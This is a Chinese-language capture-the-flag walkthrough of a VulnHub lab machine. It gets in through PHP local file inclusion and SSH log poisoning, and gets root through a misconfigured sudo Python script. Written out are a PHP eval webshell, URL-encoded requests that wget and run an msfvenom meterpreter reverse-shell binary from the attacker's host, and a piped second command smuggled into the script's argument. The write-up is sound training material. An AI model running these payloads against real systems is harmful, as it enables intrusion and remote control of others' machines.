靶機鏈接
https://www.vulnhub.com/entry/the-ether-evilscience,212
運行環境
-
本靶機提供了VMware的鏡像,從Vulnhub下載之后解壓,運行
vmx
文件即可 -
靶機:本靶機默認使用了自動獲取的上網模式。運行靶機之后,將會橋接到物理網卡,接入網絡。
-
攻擊機:Kali虛擬機運行於virtualbox,同樣使用橋接模式,即可訪問靶機。
靶機說明
本靶機有一定難度,不適合初學者。
本靶機的滲透目標為滲透進靶機並且找到系統中隱藏的Flag值。
官方提供了一個提示:靶機中有一個相關的文件,在滲透過程中發揮重要作用,但是不要浪費時間試圖去解密這個混淆后的文件。
信息收集
-
ip發現
首先看一下Kali的網絡配置:
之后使用namp發現靶機。
nmap -sP 192.168.0.0/24 發現有本網段有vm相關IP。
- 端口掃描與服務
使用nmap發現192.168.0.105 靶機基本信息:nmap -p 1-65535 -A 192.168.0.105
-
威脅建模
分析nmap的掃描結果,發現靶機只開放了22
和80
端口,系統為Ubuntu
。
22
端口為SSH
服務,80
端口為http
服務,Web容器為Apache/2.4.18
。
通常Web會存在各種各樣的問題,經過初步分析,以Web作為初步的滲透入口。
Web漏洞挖掘
1. 使用niktoWeb漏洞掃描器
使用nikto工具掃描Web漏洞,nikto -h 192.168.1.105
,-h
參數指定掃描目標
沒有發現什么明顯的高危漏洞,發現了images
目錄和/icons/README
文件,沒有什么利用價值。
2. 使用dirb掃描網站目錄
dirb http://192.168.1.105 /usr/share/wordlists/dirb/big.txt
除了部分靜態文件,沒有發現有價值的利用點。
3. 瀏覽網站功能
根據前兩步基本的信息探測,並沒有發現漏洞點。手動訪問網站,分析網站功能。
我們先來查看網站首頁:
點擊ABOUT US
鏈接后,發現URL為:http://192.168.1.101/?file=about.php
,存在任意文件包含的可能。
4. 文件包含漏洞測試
為了直觀的看到測試結果,這里使用Burpsuite處理http請求。
通過嘗試包含Linux系統的配置文件,發現存在一定的限制。
如:包含/etc/passwd
發現沒有結果。
之后測試了幾個常見的Apache日志的路徑:
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
均無結果。
猜測可能是更改了配置文件的路徑,嘗試讀Apache2的配置文件,/etc/apache2/apache2.conf
,發現也是失敗。
嘗試通過php偽協議讀取php文件源碼,也無果。
file=php://filter/convert.base64-encode/resource=index.php
根據之前整理的文件包含漏洞筆記利用思路:
結合之前信息探測的結果,靶機只開通了http
與ssh
服務。Apache的日志包含失敗,嘗試包含ssh的登陸日志。
file=/var/log/auth.log
成功讀到ssh的登陸日志。
獲取shell
1. 獲取一句話Webshell
使用一句話作為用戶名登陸靶機的ssh。
使用kali命令行登陸:
ssh "<?php eval($_GET['bmjoker']);?>"@192.168.1.105
或者使用xshell:
雖然我們不知道密碼,但是SSH的日志會記錄此次登陸行為,這樣就可以把一句話
寫入ssh的日志文件。測試一下是否成功:
可以看到一句話已經成功寫入。
2. msfvenom生成Meterpreter shell
平時使用Msf比較多,這里也以Msf作為接下來主要的滲透工具。
首先生成Linux平台的shell程序。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f elf > shell.elf
3. Metasploit 設置監聽
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.0.103
exploit
4. 種植Meterpreter shell
首先使用Python搭建一個簡單的Web Server:python -m SimpleHTTPServer 80
之后利用前面獲得的一句話,執行命令,下載生成的木馬,並且運行。
分別發送以下請求:
-
/?file=/var/log/auth.log&bmjoker=system('wget+192.168.0.103/shell.elf')%3b
-
/?file=/var/log/auth.log&bmjoker=system('chmod+%2bx+shell.elf')%3b
-
/?file=/var/log/auth.log&bmjoker=system('./shell.elf')%3b
注意:
-
因為要執行的命令里面有空格、加號等符號,要將payload進行urlencode之后才可以正常執行。
-
因為生成的木馬文件沒有執行權限,下載到靶機后也無法執行,所以需要先給
shell.elf
添加執行權限,之后再執行。
執行結果:
提升權限
Linux提權的基本思路:
1. 溢出提權
現在拿到了目標靶機的Meterpreter shell,簡單的看下信息。
發現系統為Ubuntu 16.04 (Linux 4.10.0-40-generic)
,前段時間爆了Ubuntu16.04提權的exp,在這里試一試。
exp 地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
多次實驗...發現提權未果
2. 使用msf提權
use post/multi/recon/local_exploit_suggester
沒有發現可以利用的提權漏洞。
3. 錯誤的SUID文件提權
進入交互式shell,派生一個bash的shell: python -c 'import pty;pty.spawn("/bin/bash")'
在Web的目錄中發現了xxxlogauditorxxx.py
,這是不應該存在的,猜測是題目所指的特殊文件,而且該文件特別大。
運行一下該py文件,發現是審計日志的程序。 查看Apache2的日志文件,發現是執行了cat
命令,但是因為權限不夠,沒有執行成功。
仔細查看py文件的權限,發現具有SUID的權限,且文件所屬用戶為root。
sudo --list
查看一下用戶權限。
發現可以不使用密碼即可以root權限運行該py文件。這就好辦多了。
該py文件的配置錯誤,導致可以直接以root權限執行命令。
接下來拿root權限的shell。
4. 獲取root權限的shell
因為之前已經上傳了Msfvenom生成的馬,這里再次使用。首先推出shell,background
命令調入后台,然后再次開啟監聽,並且置於后台。
利用發現的特殊文件以root權限運行msf木馬。
sudo ./xxxlogauditorxxx.py
/var/log/apache2/access.log|./shell.elf
運行py之后,顯示出現問題,不過不影響運行木馬。
進入session 2的shell,查看權限:
獲取flag
在root的家目錄發現了flag.png
文件:
下載到本地進行分析:
推測接下來的考點屬於圖片隱寫。
經過分析,在圖片文件的末尾發現了一串base64
將base64寫入flag.txt
,進行解碼,get flag:
cat flag | base64 -d
靶場思路回顧
至此,已經完成最終目標,回頭分析一下之前幾個失敗的點。
1. Web方面利用失敗原因
首先看一下index.php的核心代碼:
<?php
$file = $_GET["file"];
$file = str_ireplace("etc","", $file);
$file = str_ireplace("php:","", $file);
$file = str_ireplace("expect:","", $file);
$file = str_ireplace("data:","", $file);
$file = str_ireplace("proc","", $file);
$file = str_ireplace("home","", $file);
$file = str_ireplace("opt","", $file);
if ($file == "/var/log/auth.log")
{
header("location: index.php");
}
else
{
include($file);
}
include($file);
?>
可以看到index.php
將一些關鍵詞置空了。
所以,之前利用不成功的點原因如下:
-
偽協議讀文件失敗
過濾了
php:
且大小寫敏感,故不能使用偽協議讀文件。 -
讀取配置文件、passwd文件等失敗
過濾了
etc
,無法讀取任何配置文件 -
讀取Apache訪問日志失敗。
-
因權限問題,
www-data
用戶無法寫入和讀取Apache的日志文件。故,包含Apache日志失敗。
2. 系統方面利用失敗原因
-
溢出提權失敗
通過分析報錯,原因可能是因為靶機系統為32位,但exp只支持64位系統。
思路總結
突破點總結:
-
PHP本地文件包含漏洞發現
-
SSH日志寫入一句話
-
利用LFI和SSH日志getshell
-
MSF生成木馬,利用一句話植入、運行
-
利用錯誤配置SUID程序提權
在完成這次靶場的過程中,可以有很多發散的思路,比如:
-
文件包含漏洞,可以使用字典Fuzz一下各種配置文件。
-
使用NC或者其他反彈shell的姿勢反彈shell。
此外,Metasploit Framework有很多方便實用的功能,如果能夠掌握,會大大簡化滲透的某些步驟,值得深入學習。
總體來說,此靶場設計比較簡單。一個Web,一個SSH,利用點無非這兩個,思路比較清晰,便於實踐者完成該靶場。